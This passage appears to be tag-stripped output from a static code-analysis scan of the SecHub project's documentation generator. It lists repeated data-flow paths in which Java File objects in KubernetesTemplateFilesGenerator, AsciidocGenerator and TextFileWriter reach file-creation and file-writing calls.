+ + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 16 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 17 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 18 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 19 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 20 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 21 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 22 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 23 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 24 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 25 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 26 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 27 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 23 + 1 + File + + 3 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 5 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 54 + 6 + ensureKubernetesFolder + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 7 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 8 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 9 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 10 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 11 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 12 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 13 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 14 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 15 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 16 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 17 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 18 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 19 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 20 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 21 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 23 + 1 + File + + 3 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 5 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 6 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 7 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 8 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 9 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 10 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 11 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 12 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 13 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 14 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 15 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 16 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 17 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 18 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 19 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 20 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 21 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 22 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 23 + 1 + File + + 3 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 5 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 6 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 7 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 8 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 9 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 10 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 11 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 12 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 13 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 14 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 15 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 30 + 16 + targetFolder + + 12 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 8 + 17 + targetFile + + 10 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 219 + 15 + 18 + targetFile + + 10 + + + 219 + writer.save(targetFile, sb.toString(), true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 19 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 20 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 21 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 22 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 23 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 24 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 20 + 1 + File + + 3 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 2 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 3 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 4 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 5 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 6 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 7 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 8 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 9 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 10 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 11 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 12 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 13 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 14 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 15 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 20 + 1 + File + + 3 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 2 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 3 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 4 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 5 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 6 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 7 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 8 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 30 + 9 + targetFolder + + 12 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 8 + 10 + targetFile + + 10 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 219 + 15 + 11 + targetFile + + 10 + + + 219 + writer.save(targetFile, sb.toString(), true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 12 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 13 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 14 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 15 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 16 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 17 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 21 + 1 + File + + 3 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 2 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 3 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 4 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 5 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 29 + 1 + File + + 3 + + + 34 + File documentsGenFolder = new File(path); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 8 + 2 + documentsGenFolder + + 18 + + + 34 + File documentsGenFolder = new File(path); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 35 + 26 + 3 + documentsGenFolder + + 18 + + + 35 + File documentsFolder = documentsGenFolder.getParentFile(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 56 + 34 + 4 + documentsGenFolder + + 18 + + + 56 + generator.generateUseCaseFiles(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 64 + 41 + 5 + documentsGenFolder + + 18 + + + 64 + private void generateUseCaseFiles(File documentsGenFolder) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 30 + 6 + documentsGenFolder + + 18 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 8 + 7 + targetFile + + 10 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 71 + 15 + 8 + targetFile + + 10 + + + 71 + writer.save(targetFile, useCaseAsciidoc); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 100 + 10 + 1 + File + + 3 + + + 100 + return new File(genFolder, "gen_systemproperties.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 40 + 60 + 2 + createSystemProperyTargetFile + + 1 + + + 40 + File systemProperitesFile = createSystemProperyTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 40 + 8 + 3 + systemProperitesFile + + 20 + + + 40 + File systemProperitesFile = createSystemProperyTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 48 + 49 + 4 + systemProperitesFile + + 20 + + + 48 + generator.generateSystemPropertiesDescription(systemProperitesFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 122 + 55 + 5 + targetFile + + 10 + + + 122 + public void generateSystemPropertiesDescription(File targetFile) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 124 + 15 + 6 + targetFile + + 10 + + + 124 + writer.save(targetFile, text); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 96 + 10 + 1 + File + + 3 + + + 96 + return new File(genFolder, "gen_scheduling.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 41 + 69 + 2 + createScheduleDescriptionTargetFile + + 1 + + + 41 + File scheduleDescriptionFile = createScheduleDescriptionTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 41 + 8 + 3 + scheduleDescriptionFile + + 23 + + + 41 + File scheduleDescriptionFile = createScheduleDescriptionTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 50 + 41 + 4 + scheduleDescriptionFile + + 23 + + + 50 + generator.generateScheduleDescription(scheduleDescriptionFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 127 + 47 + 5 + targetFile + + 10 + + + 127 + public void generateScheduleDescription(File targetFile) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 129 + 15 + 6 + targetFile + + 10 + + + 129 + writer.save(targetFile, text); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 108 + 10 + 1 + File + + 3 + + + 108 + return new File(genFolder, "gen_mockadapterproperties.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 42 + 91 + 2 + createSpecialMockConfigurationPropertiesTargetFile + + 1 + + + 42 + File specialMockValuePropertiesFile = createSpecialMockConfigurationPropertiesTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 42 + 8 + 3 + specialMockValuePropertiesFile + + 30 + + + 42 + File specialMockValuePropertiesFile = createSpecialMockConfigurationPropertiesTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 52 + 47 + 4 + specialMockValuePropertiesFile + + 30 + + + 52 + generator.generateMockPropertiesDescription(specialMockValuePropertiesFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 132 + 54 + 5 + targetFile + + 10 + + + 132 + private void generateMockPropertiesDescription(File targetFile) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 134 